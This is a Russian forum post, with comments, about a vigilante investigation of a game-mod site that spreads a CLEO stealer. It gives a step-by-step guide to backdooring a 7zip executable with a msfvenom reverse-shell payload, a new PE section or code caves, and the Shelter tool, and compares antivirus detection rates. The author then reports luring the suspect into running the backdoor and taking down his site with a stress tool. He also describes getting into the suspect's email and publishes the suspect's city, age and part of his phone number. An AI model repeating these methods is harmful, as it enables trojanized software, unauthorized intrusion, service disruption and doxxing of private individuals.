• Познакомьтесь с пентестом веб-приложений на практике в нашем новом бесплатном курсе

    «Анализ защищенности веб-приложений»

    🔥 Записаться бесплатно!

  • CTF с учебными материалами Codeby Games

    Обучение кибербезопасности в игровой форме. Более 200 заданий по Active Directory, OSINT, PWN, Веб, Стеганографии, Реверс-инжинирингу, Форензике и Криптографии. Школа CTF с бесплатными курсами по всем категориям.

Статья По горячим следам: эпизод три - не неуловимый стиллерщик и его просчеты

DeathDay

Green Team
18.04.2019
149
1 095
BIT
0
По горячим следам: эпизод три - не неуловимый стиллерщик и его просчеты

Перед прочтением материала, советую ознакомиться с первой и второй частями.
Пишу сразу на следующий день после выхода предыдущего материала, дело срочное. И дело в том, что решил я проверить дискорд того самого поляка, чьи данные мы получили после покупки почты.

Screenshot_3.png


И сразу же немного предыстории, давайте окунемся во вчерашний, но только для меня, день. Искали мы любого барыгу на торговой площадке, поясню за слово “барыга” - продавец краденого, если говорить проще. Визуально очень просто определить подобного персонажа: имеет он в продаже практически все виды игр и все типы аккаунтов, в основном привязка к иностранным почтам, но последнее не всегда. Также после покупки определенного товара, если вам удастся заполучить родную почту аккаунта во своё владение, вы сможете заметить какую-либо спам рассылку, так случилось и в нашем случае. Хотя случай определенно редкий, ведь обычно продавцы сами покупают логи где-то, а не распространяют обман. Попав в дискорд польской жертвы видим до боли знакомую картину маслом:

Скрин перенес выше, дабы попал на превью.
(как вы понимаете Mrozi повелся на данную штуку, результат видите сами)

Значится человек, который вёл продажу, имел доступ и к Дискорду, а это в свою очередь означает, что именно этот барыга и занимается вот этой глобальной схемой с целым фишинг ботнетом. К такому выводу удалось прийти на фоне того, что в логах польской почты больше не было сессий, кроме как Киссок`а и моей. А попытка восстановления пароля, совпадает с началом рассылки и сессией логина продавца. В 17:50 вчера, был сброшен пароль и сразу же после этого начался флуд фишинг сообщениями. На этот раз подделка стима чуточку хромает, уже явно недостаёт символов, которые можно было бы заменить беспалевно, и мы уже видим следующее:



Это всё ещё прикольно и болван носа не подточит, но для более внимательных, чье умственное развитие перешагнуло порог обезьяноподобных, это слишком очевидно.

Внизу имеется ещё более прикольный способ, все мы знаем, что Эпик Геймс за авторизацию в Дискорд через них дарит три месяца местного премиума “Нитро”. Здесь парнишка сделал очень похожим манером, только сотворил фишингсайт , который говорит что, мол Стим тоже дает 3 месяца Нитро. Ещё и таймер поставил, неплохая уловка с ограниченным предложением, на некоторых до сих пор влияет, как на быка красная тряпка. Вид имеет неплохой, лицезреем замену “i” на “l”:



В общем здесь сделано достаточно красиво. Просмотрев код элемента, заметил один недочет. Лого, да и все картинки в целом выгружены на неанонимный хостинг, а именно на Имгур от пользовательского аккаунта, то есть если бы мы не знали кто это, а отталкивались от сайта, то это было бы уже весомой зацепкой. Да?

Спустя минут тридцать все сайты были успешно уничтожены владельцем, а на месте появился какой-то Олег Винник. Ну и пусть. С данным персонажем всё ясно, кстати теперь его номер телефона недействителен, а айпи сменен. Даже жигули перестал продавать. Ух. Выслеживать во второй раз его что-то не ахти, более чем уверен, что больше подобных ошибок он не сделает.

И тут я уже думал искать новую схему обмана, потом попытаться стать её жертвой, чтобы понять подробный механизм проворота какого-то дела, но… Тут пишет мне один хороший знакомый, если быть точнее - он просто прислал следующий скрин:


После просит скинуть несколько сотен, мол его взломали в одной игрушке, ну в наших статьях она уже фигурировала, San Andreas MultiPlayer если быть точным. На скрине виден IP, но снизу сам Администратор пишет, мол это бот-гарант, это мы проверим позже. Ибо если честно, меня заинтересовало в тот момент кое-что другое. И вот начинается опрос жертвы, после краткого диалога выясняем следующее:

  • Получение несанкционированного доступа не было связано с проникновением в какие-то другие аккаунты злоумышленником.
  • Серёга, а именно пострадавший, предполагает, что стиллер может быть в двух скриптах, которые он недавно установил.
  • Выясняем, что оба скрипта были скачаны с одного сайта - какой-то samp-stock.ru.

Для начала давайте проверим, что собой представляет этот сайт. После краткого анализа контента, делаем выводы, что ресурс существует уже около четырех лет, особо никто не жалуется на то, что после скачивания с него, происходит заражение. Оставим на потом.

Теперь давайте возьмем эти два скрипта и попытаемся проанализировать код, выявить конкретно в каком из двух вредонос, а после и отследить создателя или пользователя его.

Для начала давайте возьмем скрипт Velo_speedhack.cs, собой он представляет авто +W на велосипеде, это даже не читы. Открываем с помощью нотпада и видим такой код:

Вставлю скрином, ибо там несколько тысяч строк, внизу будут исходники. И сразу отмечу, что слишком много кода для такого простого скрипта.

С первого взгляда ясно, что это никак не язык Cleo, а какой-то обфускатор, при том закриптовано достаточно мощно. Но нас это особо не расстраивает, ведь когда-то я имел дело со стиллерщиками и даже сам писал скрипты-воры, поэтому есть рабочий метод по декодировке этих иероглифов.

Для этого понадобятся несколько приложений: Sanny Builder 3, как среда разработки CLEO и AWP Game Protect, как разблокировщик и нормализатор.

Первым делом закидаем подозрительный скрипт в AWP и нам сразу же выдает, что стиллер здесь, ну это было очевидно, правда не за этим мы пожаловали. Теперь переходим в папку данного приложения, открываем Temp и копируем файлик encode.cs, здесь непонятные символы уже выстроены и готовы к дешифровке. Открываем среду разработки, жмакаем на шестеренку в самом конце панели быстрого доступа, оставлю скрин, где отмечу её, там выбираем параметр “Ignore unknown” и просто перетаскиваем нормализованный скрипт сюда.

Пожалуйста, файл был декомпилирован и декодирован, видим целых две с половиной тысячи строк кода, включая хеши, к сожалению, как удалить их с кода, кроме как вручную, я не придумал. Исходники тоже внизу найдете, если не забуду.

Screenshot_31.png


А теперь приступаем непосредственно к разбору вот этих вот строчек, сначала всё идёт нормально и да, это действительно обычный скрипт, который имитирует быстрое +W, лишь вплоть к шестидесятой строчке:
Код:
// This file was decompiled using SASCM.ini published on 2021-07-05
{$CLEO .cs}
{$USE bitwise}
{$USE CLEO+}
{$USE file}
{$USE newOpcodes}
{0} get_label_pointer 0@ = label -329
{1} allocate_memory 1@ = allocate_memory_size 224
{18} call_method 4606176 struct 1@ num_params 0 pop 0
{33} 0A8E: 2@ = 1@ + 16 // int
{43} write_memory 2@ size 4 value 0@ virtual_protect 1
{55} 0A8E: 2@ = 1@ + 20 // int
{65} write_memory 2@ size 4 value 0@ virtual_protect 1
{77} 0A8E: 2@ = 1@ + 196 // int
{88} write_memory 2@ size 1 value 1 virtual_protect 1
{99} call_method 4606976 struct 1@ num_params 1 pop 0 11056172
{119} get_label_pointer 0@ = label @NONAME_178
{129} get_this_script_struct 1@
{134} 0A8E: 2@ = 1@ + 16 // int
:NONAME_144
{144}wA8E: 2@ = 1@ + 20 // int
{166} write_memory 2@ size 4 value 0@ virtual_protect 1
:NONAME_178
{178} 0000: NOP
{180} if
{184} 8AF7:   not
end
{198} wait 400
{203} 0AFA:
{205} jf -20
{212} wait 0
{216} if and
{220}    Player.Defined(0)
{224}    Actor.Driving($PLAYER_ACTOR)
{229} 8B4C:   not
end
{235} jf @NONAME_144
{242} 0@ = Actor.CurrentCar($PLAYER_ACTOR)
{250} if or
{254}    Car.Model(0@) == 510
{262}    Car.Model(0@) == 481
{270}    Car.Model(0@) == 509
{278} jf @NONAME_144
{285} if or
{289} is_key_pressed 20
{293} is_key_pressed 160
{298} jf @NONAME_144
{305} 0B56:
end
{311} 0100:   actor in_car
end

Потому что дальше пошла уже явная ересь, хотя на то время я не мог ещё отделить два скрипта от одного, поэтому пошел путем проще. Мне нужен быть простейший пример стиллера или того же скрипта на +W, только чистого . Бесплатный стиллеров с привязкой к базе данных в сети оказалось навалом, поэтому быстрельно зарегистрировавшись на одном популярном ресурсе данной тематики, я скачал исходники.

Таким же методом проводим обратный процесс к обфускации, смотрим, ничего не понимаем, ведь это один и тот же стиллер. Мошенник из samp-stok`а пользовался аналогичным сервисом.

Ничего особого установить больше не удалось, исключая ID базы данных вора на той же альма матери скриптов-воров.

Я бы с удовольствием разобрал механизм работы его, но, к сожалению, мои познания в этом языке ограничены импортом библиотек.

На самом деле я против зла и то, что я покажу вам далее, может быть, практически применено различного рода антагонистами. Сразу предупреждаю, что я, как автор этой писанины , снимаю с себя ответственность за то с каким умыслом будет использована эта информация дальше. Виноват только и только тот, кто применяет знания, но не тот, кто ими делится. Автор лишь преследует благие цели, используя способы и пути злоумышленников, раскрывает суть преступного механизма, открывая людям глаза, демонстрируя способы защиты, ведь лучший протект - это знания.

Атака на мошеннический сайт: В поисках зацепок

Я не особо специалист в области сайтов, поэтому уязвимости поищем разве что каким-то автоматическим сканером и не более. Мои методы слегка другие. Для начала давайте выясним на каком из хостингов этот сайт располагается. Здесь можно действовать несколькими способами: создать проект в той же Мальтего и с помощью преобразователей найти информации куда больше чем только о хостинге. Ну, а второй вариант - пойти на какой-то 2ip.ru и просто вбить туда доменное имя.

Мне намного ближе первый вариант, а значит давайте рассмотрим чего нам удалось нарыть:

  • Корпоративную почту Admin@, не особо пригодится, ибо фактически её не существует и связаться так ни с кем не получится.
  • Реальный IP сайта и хостинг. Кстати, хостинг Беггет, который мы когда-то уже использовали.
  • Группу сайта в ВК, в которой ничего такого вовсе нет. Даже те 300 подписчиков накручены и неактивны уже сверх двух лет. Просмотры на постах удалились ещё в 2019, не наблюдаем никакого трафика.
Screenshot_32.png


Но невзирая на отсутствие какой-либо активности пользователей, администрация продолжает создавать посты-ссылки на модификации на их сайте. Подозрительно.
Анализируя группу мне не удалось выяснить что-то сверх удивительного, если не брать во внимание одну маленькую гифку, которая впоследствии выдаст страницу создателя-админа, об этом чуточку позже.

А сейчас рассмотрим дизайн и смысловое обрамление этого мошенничества. Описание группы очень красноречиво заявляет, мол мы все проверяем на наличие стиллеров, их здесь быть не может, вы можете верить нам:

“Все добавляемые на сайт материалы проходят проверку на наличие стиллеров, поэтому скачивая моды на нашем сайте - Вы можете не переживать за то, что можете нарваться на вредонос”.

Иронично, ибо каждый скрипт, имел в себе криптованный стиллер, абсолютно каждый, если судить по тому, что я взял 10 случайных, с разных страниц сайта и в каждом было одно и тоже. Охват кстати огромен, некоторые файлы были скачаны сверх 10.000 раз.

А теперь о том, как же админа мы определяли

В ВК очень долгое время уже отсутствует возможность узнать кто администратор или создатель группы, если он себя не указал в контактах. Единственное, что этот персонаж оставил нам - несуществующую почту. Теперь давайте поищем посты, которые могли быть опубликованными не анонимно, спустя полчаса таких я не обнаружил, но наткнулся на гиф документ. С этого момента для меня всё стало гораздо проще, ведь просто открыв это документ в новой вкладке и рассмотрев его ссылку, мы можем получить ID профиля. Спасибо тебе, админушка, за неаккуратность.

Страница действительно активна, но явно не есть его основной, ибо она абсолютно пуста, нет даже друзей. Пока я думал, как начать диалог с ним так, чтобы он повёлся на одну из моих уловок, автоматический сканер WEB уязвимостей ничего не дал. Кстати установка его такова, он уже морально устарел, но в сайтах я не понимаю ровным делом ничего:
Код:
git clone https://github.com/mrwn007/M3M0.git
cd M3M0
pip install -r requirements.txt
python start.py

И там уже выбираем все пункты поочередно, штука прикольная, но слегка бесполезная в деле сегодняшнем.

Также я попытался проверить метаданные у изображений, файлов, но ничего вытащить не удалось, исключая время редакции, что мало давало информации слишком. Каждый может вшить стиллер в три-четыре утра, да? Ну да, конечно.

На то время я подумал о том, что это может быть зацепкой для определения часового пояса саспекта, нет.

Для прикола решил проверить Апачи стресс тестом, которым когда-то удавалось уложить очень много сайтов да и форумов мошеннических проектов. Думалось мне, не работает уже нигде, реальность оказалась более благосклонной:

Screenshot_4.png


Да, черт возьми, он просто лег. При том лег достаточно на долгий отрезок времени. Халтурно сделано, но нам и на руку. Поэтому теперь есть две схемы по которым мы будем обращаться к создателю:

  1. Здравствуйте, я хотел бы купить у Вас логи, мне один наш общий знакомый сообщил, что Вы можете продать их по низкой цене. (Но обращение построим, манером идиота, типа “Превет, я ель прыма” или “Хола, я браул Сторс”).
  2. Салам, я супер-пупер-мега-архи-кодер и хакер-какер, предлагаю услуги фикса нескольких критических уязвимостей твоего портала. (Умолчу откуда и как я узнал, что это именно его. А в момент, когда он спросит, мол что за дыры - положим его сайт бенчмарком для демонстрации возможностей. Обычно в таких ситуациях владельцы дыро-форумов и сайтов откисают и готовы делать всё, лишь бы с творением их кривых ручонок было все окей, а если вспомнить, что Админ живет на доход с этого портала… Ну вы поняли. )

Lights, camera, action: блокбастер уже на экранах

Итак, обращаться к нему будем с разрывом в 24 часа, дабы не вызвать подозрений. Вести диалог в абсолютно отменных друг от друга стилях и с разных аккаунтов, которые купим на первой попавшейся бирже.

Имитируем активность, добавляем несколько актуальных пабликов с мемами, играми: сампом и Бравл Старсом. Воруем АУФ-фоточку первоклассника, добавляем историю с жабками и ожидаем полдня, прежде попросив знакомых навалить лайков и комментариев. Для начала построим обращение методом Ель Прыма, как вы уже могли понять, то есть попытаемся купить логи.


Ну и вышло что-то типа такого, главное не забыть вставить скриншот:

Screenshot_5.png


В сеть он зашел только под вечер, но его ответ меня удивил. Мало того, что он не спросил кто я, откуда точно узнать о нем, ведь… Ведь этот человек очень тщательно маскировался, а здесь свободно соглашается продать мне их по цене 50 рублей - 100 строчек. Дабы не потерять его и заставить думать и отвечать мне быстрее, я решил особо не мелочиться и сделать заказ на 1.000 рублей, а это для него видать сумма большая, сразу оживился.

Когда зашла речь о оплате, моим предположениям не количественных границ, я думал о биткоине, о каком-то кошельке, что явно бы затруднило отслеживание сие персонажа. Но всё оказалось банально просто, этот гений мысли просто скинул свой номер карты. И я не удержался от того, чтобы пользуясь открытыми источниками, не поискать данные о нем.

Просто вбив номер в разные поисковики - пусто. Воспользовавшись одним из сервисов по “пробиву” в гугле, узнаем не очень интересную информацию - Сбербанк, виза и ничего больше.

Но и этого достаточно, ведь был бы я с РФ, то смог бы уже узнать его имя и отчество, ведь при переводе эти данные высвечиваются.

На этом этапе имеется некое разветвление, мы можем попытаться поискать сервисы по пробиву в Даркнете и с вероятностью в 30% узнать полную информацию о неком Константине Петровиче К., а с шансом в 70% просто лишиться денег. Никого на той стороне рекомендовать не стану, ведь ручаться не могу ни за кого.

Если интересует, могу рассказать каким же образом эти чудные пробивщики получают ваши данные. А все предельно просто, смоделируем ситуацию, где вы пришли оформлять карту в каком-то банке, были вежливо направлены к одному из консультантов, который в последующем провел процедуру регистрации вас в системе.

У этого консультанта может быть прекрасная внешность, да и вовсе она или он может быть очаровательной личностью, но это не исключает тот факт, что после рабочего дня она скачала базу данных, зашла с телефонного ТОР’а и слила их в Дарк за несколько сотен долларов этим же пробивщикам или того хуже кардерам.
Как от этого уберечь себя? Откажитесь от банков. Да только вот в современном мире этот отказ приведет к тому, что все будут считать вас фриком и ненормальным, а уровень жизни и удобство пользования финансами исчезнут в помине. Выбор за вами.

Пробивать мы его не станем, а лишь давайте попробуем купить эти же логи, но слегка отморозимся, сказав, что не работают у нас файлы в ВК. Кстати человек оказался действительно честный, он не стал закидать меня в ЧС после оплаты, а просто выявил желание отдать товар. Достойно уважения.

Я предложил провести всё через почту не просто так, ведь наконец мы узнаем его реальный имейл. Он скинул запароленный архив, спустя минуту и сам пароль, который впоследствии подойдёт и к его аккаунту на mail.ru, но то уже позже. Поразительная глупость.

Полученные логи я пожалуй просто удалю, сберегу людям их аккаунты и ценности игровые. Переходим ко второму варианту обращения.

Прошло чуть-чуть времени

Включение два происходит ровно спустя сутки с момента первого обращения и теперь можно попытаться проникнуть в самые сокровенные уголки устройств нашего друга-мошенника. Сейчас мы рассмотрим два метода, оба связаны имплантацией шелл кода в PE файл, только один представляет собой автоматизированный и более палевный вариант, а второй же намного сложнее, но одновременно и практически неуязвим.

Оба методы были найдены на англоязычных порталах, а там не разъясняют каждое действие, хотя стоило бы, ибо даже человеку, который варится в этом котле несколько лет, не сразу удастся понять чего от него хочет загадочный автор. Я попытаюсь максимально подробно рассказать о том как, что и почему. Поехали.

Итак, главная задача этой деятельности - сделать так, чтобы большинство антивирусов не ругали нас за этот файлик, но одновременно отнесёмся к этому делу мы слегка похабно, ведь нам известен примерный психотип жертвы: данная личность ни в коем случае не будет держать на своей машине тысячу антивирусов, по моим предположениям его там и вовсе нет, а если и есть, то с последнего момента обновления прошло не меньше миллиарда лет.

О чём шла речь, когда я сказал о похабности? Именно о том, что мы не станем как-либо шифровать шелл, то есть сразу откинем любые фреймворки для этого. Прости, Вейл, ты был хорош.

Я долго думал какой .exe выбрать лучше, ведь здесь существует целая туча нюансов и критериев, которые не обязательны, но всё же рекомендуемые к исполнению:

  • Размер файлика особо значения не имеет, разве что если его вес не 1КБ, ибо в таком случае придется забыть о способе с поиском свободных, как выразился автор на англоязычном форуме, “пещер”. Правда в первом варианте это не имеет особого значения, ведь место для шелла создавать будем мы сами.

  • Прикол этого пункта состоит именно в том, что стоит брать продукты известные, ведь некоторые антивирусы в своих сигнатурах имеют алгоритм о пропуске сканирования на тот же 7zip или WinRar. А ещё проще лучше использовать те программы, на которые и так любой антивирус ругается. Типа Медиагет.
  • Понадобится файл, не имеющий защиты ASLR или DEP, как понять, что они её не имеют - покажу дальше.
  • Желательно брать двоичные PE-шки, написанные на C/C++.

Сначала нам понадобится проанализировать выбранный нами файл на наличие защиты, сделать это можно как в Кали, так и с Виндовс. Второй вариант оказался немного быстрее. Использовать будем специальную утилиту Pe-security, этот репозиторий имеется на Гитхаб, откуда его желательно скачать и разархивировать на рабочий стол, хотя какая разница, здесь свобода действий.

Screenshot_36.png


Затем вбиваем следующую команду:
Код:
Import-Module /deskop/Get-PESecurity.psm1

И видим ошибку, мол операция не разрешена. Это можно исправить просто дав разрешение на установку модулей, сменив один параметр на “unrestricted”:
Код:
Set-ExecutionPolicy unrestricted

После этого повторяем импорт, наблюдаем картину успеха. Теперь мы можем проверить имеется ли защита на выбранном нам файле. Я также решил взять, как и автор той писульки, 7zip 2017 года, просто он небольшой и защиты не имеет, а проверил последнее я так:
Код:
Get-PESecurity -f 1.exe

И на скрине вы можете увидеть отсутствие любой защиты, ещё один критерий, по которому подошел этот .EXE - написан он на C++, это очень сокращает наш фронт работ.

Screenshot_37.png

( скрин с новой версии если что, там защита есть )

Следующим шагом будет создание нового заголовка раздела, делается это достаточно просто. Понадобится нам лишь утилита LordPE, которую можно скачать в открытом доступе, да и её эксплуатация не особо тяжела.

Откроем нашего Лорда, кликаем на “PE editor” - выбираем 7zip - “sections” - кликаем правой кнопкой мыши - “new header” - называем то и даём ему значения в 1000 байт в исходном и виртуальном размере. Сохраняем и выходим.

Попытавшись запустить - получаем ошибку, мол приложение быть запущено не может, обратитесь к разработчику. Ой, а что же делать? Неужели мы на самом первом шаге напортачили? Так может подумать лишь Петенька с твоего параллельного класса, который с трудом решает простое уравнение, но люди собравшиеся здесь явно умнее Петеньки, поэтому они не глядя добавляют 1000 байт в конец, через какой-то HEX редактор. Ведь приложение сейчас понимает, что у него теперь ещё один заголовок, который должен содержать 1000 байт, но их почему-то нет, ну вот именно поэтому возникает весь этот сыр-бор.

Screenshot_38.png


Открываем наш 7zip через HEX, идем в конец, кликаем там, переходим в “Правка” - “Вставить Байты” - 1000 нулевых.

Сохраняем и… О, чудо! Теперь всё работает. Все дальнейшие манипуляции будем выполнять через Ollydbg, которую вроде уже задействовали в одной из прошлых писанин. Пожалуй откроем её заново и проверим, есть ли в памяти наша секция, её наличие там - прямое подтверждение вашего умственного превосходства над Петей:

Переходим в “Memory Map”, после смотрим графу “Contains” и ищем “PE header”. То есть строчку, где лежат вот эти заглавия, дважды кликаем по нему и в конце видим следующее:

Screenshot_6.png


Верно, наш заголовок-секцию.

Теперь переходим во вкладочку “CPU Main Thread” здесь автоматически нам выделяет графу “$55”, она типа что-то начальной в этом файле. Нам нужно оформить переадресацию на нашу новосозданную секцию, чтобы и она была задействована, но сначала давайте скопируем первые пять заголовков, ведь они понадобятся для дальнейшего восстановления потока, но то уже после имплантации Шелла. Вставим их куда-то в текстовичек и пока что забудем.

Затем кликаем правой клавишей на “$55”, выбираем “Assemble” и вбиваем туда следующее:
Код:
jmp 0047D000

Поясню чуток, jmp - jump, фактически тупой прыжок на наш раздел. Как мы узнали адрес его? Да просто, 004 - это общая приставка для всех, а 7D000, адрес строки с LordPE.

Аллилуйя, поток выполнения был перенаправлен, теперь нужно сохранить изменения:

Правая кнопка мыши - Edit - Copy to executable - Save File.

И опять открываем наш 7zip перенаправленный в Olly, перейдя по адресу 0047D000, мы должны лицезреть надписи “Add byte…”, если их нет - в чем-то косяк. У меня они появились лишь с четвертого раза, я не понял в чем прикол, поэтому просто переделывал заново все.

Screenshot_42.png


И вот же он, это же момент истины! Теперь мы можем перейти в Кали и сгенерировать Веномом наш Реверс Шелл:
Код:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.116.93 LPORT=4444 -a x86 --platform windows -f hex

В этой команде нет ничего необычного, просто шелл в HEX’е, на LPORT и LHOST сами знаете что писать.
Ну это было слишком просто, сейчас нам нужно будет вставить этот шелл в те самые свободные строки, но не просто сам этот хекс, а создать правильную последовательность, ну и не нарушить ту, которая уже имеется.

Сейчас мы, используя следующую последовательность операторов, вставляем всё путем - Правая кнопка мыши - Edit - Binary - Binary Paste:
Код:
PUSHAD
PUSHFD
shell
POPAD
POPFD
А здесь те самые пять инструкций-кодов, скопированных в начале.

Вставляется это каждый раз в новую строку, а конечные коды, который были сначала, востановят поток данных.

Теперь у нас есть тот самый шелл в нашем пустом разделе, сохраним для верности, так же само, как делали прошлый раз.

Screenshot_43.png


Время модификаций! Если рассмотреть детально, то можем заметить в конце код операции Call EBP, которая просто закрывает программу после того, как шелл выполнил свою функцию. Это нам вообще ни к чему, поэтому кликаем по нему левой мыши и ставим галочку напротив NOP.

Следующая манипуляция будет связана с наличием объекта WaitForSingleObject, в нашем шелле. Отвечает она за ожидание перед запуском других потоков, Если мы выполним наш .EXE, он таки даст обратную оболочку, но нормальная работа 7zip остановится, пока мы не закроем наш шелл. Нам просто нужно изменить код операции DEC INC, значение которого -1, на NOP.

Ну и на этом можем опять сохранить наш, выразимся по-модному бэкдор, запустить слушатель и кидать его КостЕку, но нет. Теперь мы идем разбираться как работает второй метод вставки злого кода, в поисках пещер!

Итак, для начала разберемся, что же такое эти пещеры, а фактически это пустые блоки в разделе памяти, на практике мы получим что-то типа свободного места в заголовке, но уже существующем.

Установим репозиторий и дадим старт поиску свободного места, которое больше чем 750 КБ, если выходить из того, что шелл приблизительно весит 600-700.:
Код:
git clone https://github.com/Antonin-Deniau/cave_miner.git
cd cave_miner
python2 setup.py
cave_miner search --size 750

Наблюдаем картину, с которой понимаем, что у нас имеется два подходящие блока в памяти и оба в заголовке .rsrc. Запоминаем точный адрес, ибо он пригодится позже и ступаем в LORDPE, где просматриваем этот заголовок, проверяя доступен ли он к чтению и к запуску ( это два обязательных параметра, если нет, то придется искать что-то другое). ПКМ - Edit - Flags . Если стоят галочки, как на скрине, то всё путем и можно продолжать:

Screenshot_7.png


Этот способ позволяет сделать небольшой апгрейд в работе и получении сессии в целом, но на практике пользоваться ним мы не будем, ибо он может быть слегка затратным по времени. Дело в том, что имея подобную пещеру, мы можем сделать так, чтобы лишь при определенном действии со стороны пользователя наш шелл код начинал работу. Это прикольно, интересно и может быть даже менее бы детектилось антивирусными ПО, но главный нюанс - это время.

Для того, чтобы таким образом провести внедрение, нам понадобится опять Olly. Для начала открываем её, стоп, или его, да какая разница, открываем 7zip в DBG, кликаем ПКМ - Search - all referenced strings.

И здесь мы можем использовать практически любое с этого списка, но американец почему-то выбрал справку, но и ладно. Поступим аналогичным образом.

Затем переходим в главный раздел, то есть CPU, и там ищем адрес этой строки. Как искать быстро адреса я не понял, поэтому листал вручную. Выделяем эту строку и создаем некий брейкпоинт, нажимая кнопочку F2. После создаем уже перенаправление на адрес “пещеры”, нравится мне это слово, да, ПКМ - Assembly:
Код:
jmp 00477858

Теперь осталось только сохранить, открыть заново и мы тоже увидим надписи “ADD BYTE”, весточка о том, что сделано все верно. А вот уже добавлять шелл не будем, ибо это выйдет просто повторение написанного сверху. Процедура идентичная.

Shelter: укрываем Shell автоматически

Ну и теперь поговорим об автоматизации вышеописанного дельца, здесь все намного проще, метод для ленивых что ли. Почему-то на гитхабе не был найден мной его репозиторий, поэтому качаем с официального сайта. Сие дело можно делать даже с Винды, а так мы и будем, ибо мне лень запускать вновь Кали.

Screenshot_1.png


Открываем Шелтер, указываем автоматический режим, выбираем файл, кстати не каждый подойдёт, ибо после всех манипуляций может вылезти ошибка, мол парень нет места для шелла. Мы люди не гордые, поэтому возьмём следующий, о, а здесь успешно. Пояснять особо смысла нет, ведь это предельно понятно.

Теперь давайте зальем оба файла на вирус тотал и сравним насколько же данные файлы беспалевные:

  • Первый, то есть ручного заражения, показал 10 из 70. Это достойно.
  • Второй показал 19 из 70. Ну в целом тоже неплохо.


Момент икс: идем в атаку

И вот наконец пришло то время, когда мы будем проводить полноценную атаку на нашего Костика. Я уже и забыл чем он там кому насолил, мне просто интересно. Вредить мы ему не станем, да и смысла в том, чтобы как-то мстить я не вижу. Месть - лишь замыкает круг ненависти и выходит, что вместо добра мы творим зло циклично. Это нужно исправлять.

Итак, обращаемся к нему очень грамотно и вежливо, составляя диалог таким образом, чтобы человеку на уровне подсознания в голову лезли мысли, мол этот парень хорош, он действительно шарит, это уже не какой-то там Ель Прымо, жаждущий чего-то от тебя, это полноценный Байрон, предлагающий помощь тебе.

Фанаты Бравл Старса вошли в чат, наверное.

И в самый кульминационный момент, используя телефон и удаленный SSH, показываем нашему владельцу сайта свою силу, прежде отправив фотку с какой-то лавки в парке. То есть если человеку достаточно телефона, чтобы уложить сайт, то на что он способен, когда у него есть устройство побольше, именно таковы мысли этим мы засадили ему в макитру.

Да и большинство людей до сих пор воспринимают телефоны, как беспомощные мобильные устройства, чтобы позвонить. Никто ведь не может догадаться , что я смотрю на тебя, через твою вебкамеру, пользуясь телефоном. :)

Потом начинаем втирать, мол какой он везунчик, что уязвимость нашел именно я, а не какой-то злодей, так же высказываемся о бесплатной помощи.
Как мне и думалось, парнишка быстро повелся, 7zip с шеллкодом я представил, как продвинутый и мной модифицированный FTP, который как раз и поможет в фиксе. Объяснил ему принцип пользования Файлзиллой, кто не в курсе, это простенький менеджер, который и один из самых удобных кстати. И закинул какой-то непонятный файлик с расширением .cab, это вообще какой-то сертификат и к сайтам имеет самое что ни на есть наименьшее отношение.

И подметил, что после подключения к FTP сайта, нужно будет этот файлик закинуть в корневую директорию.

Честно, вышло плоховато и я уж думал, что он не клюнет. Слишком наивно выходило, отошел за чаем. И… Да, на Кали была получена обратная оболочка шелла.. Кстати слушатель под такое проще всего запустить так:
Код:
nc -lvnp 4444

Делать ничего такого не буду, наверное, разве что… Нет, не буду. Хотел оставить стишок, который написала нейросеть используя поисковые запросы. Вообщем идем к выводам.

Итоги: сага о стиллерщике подошла ко своему логическому завершению

Несомненно, это одна из самых больших писанин, я понятия не имею, как это всё зайдет вам или нет, но я старался.

Суммируя сказанное, приходим к такому:
  • В основном ребята, которые занимаются воровством аккаунтов в САМП, особым интеллектом не отличаются, да, поставить пароль от почты такой же, как и от архива - нужно быть гением.
  • Используются в основном старые и уже очень заезженные скрипты-воры, они могут быть обнаружены простыми сканерами и особой опасности, при проявлении должного внимания, не представляют.

Внедрять шелл в приложение было достаточно интересным, но и мне удалось выявить несколько недочетов этого способа. Первый и самый, наверное, главный - разница в размерах. Если посмотреть, то оригинал и наша модификация имеет разницу практически в 100 килобайт, что при визуальном сравнении уже дает понять, что что-то не так.

Аналогичным образом можно выявить вредоноса, просматривая HEX, или же просто открыть Olly и поискать то самое внедрение.

Шелтер я не стал анализировать, но на данный момент практически всего его полезные нагрузки имеют высокую степень обнаруживаемости. Ждем версию поновее.

Сугубо для развития решился я таки чуть-чуть обфусцировать шелл код, но особо сути это не изменило, в определенных случаях даже ухудшило.

Пароль от почты и саму почту я таки передал пострадавшему, пусть уже делает всё, что ему заблагорассудится. А на портале, который стиллеры хостил, этому чудику я аккаунт просто удалил. Это мой взнос в борьбу с преступностью такого рода. Также удалось выведать следующую информацию:

Живет наш вредитель в Свердловске, недавно исполнилось ему 18 годиков, а его Стим аккаунт полон дорогущих игр, явно купленных на средства с продажи ворованных данных. Номер телефона его и его Матери, которой пожалуй звонить мы не станем. ( 7 900 127-**-** , подбор дело магическое, попытайте удачу).Кстати он стримит на Твиче и имеет 5 тысяч подписчиков. А на Донейшн Алертс было целых 200 рублей. Пусть уже жертва его злодеяний сама решает, что с этим всем делать.

Ну вот и всё, таковым вышло сегодняшнее расследование. Не попадайтесь на уловки мошенников, будьте умнее.

Screenshot_2.png


Должное внимание к своей безопасности лишает практически любого злодея возможности навредить. Ведь в первую очередь все злодеяния совершаются на почве ваших оплошностей.

До скорого. Следующая часть в разработке.
 
Последнее редактирование:

ayyyyf

One Level
16.08.2021
9
14
BIT
0
интересненько... автору - желаю вкусно покушать, поддерживаю хэштег! #дайтепокушать
 
  • Нравится
Реакции: DeathDay

DeathDay

Green Team
18.04.2019
149
1 095
BIT
0
Dziękuję mojemu przyjacielowi DeathDay za pomoc w odzyskaniu kont i danych. Wyrażam mu moją głęboką wdzięczność od całego przywództwa Fivem na całym forum Codeby za tak uczciwych i walecznych wojowników! DZIĘKUJĘ CI!
Now I'm trying to help your friends regain access. Thank you for registering and reviewing. Next time, be more vigilant. :)
 

resno

One Level
29.01.2019
7
4
BIT
0
Браво. Сделано по красоте. Есть чему поучиться у тебя.
 
  • Нравится
Реакции: DeathDay

sl1

Green Team
14.08.2020
54
19
BIT
6
Прям хэппи энд, когда не отступил от принципов, не поленился, не отложил на потом и благополучно забыл, а реально довел дело до конца за 2-3 дня. Снимаю шляпу! И понимаю, что специалист хороший! Удачи!
 

Zghb

One Level
19.08.2018
1
1
BIT
6
Спасибо автору, приятно и интересно читать. Гений что ещё скажешь
 
  • Нравится
Реакции: DeathDay

Pernat1y

Red Team
05.04.2018
1 443
134
BIT
0
Использовать будем специальную утилиту Pe-security
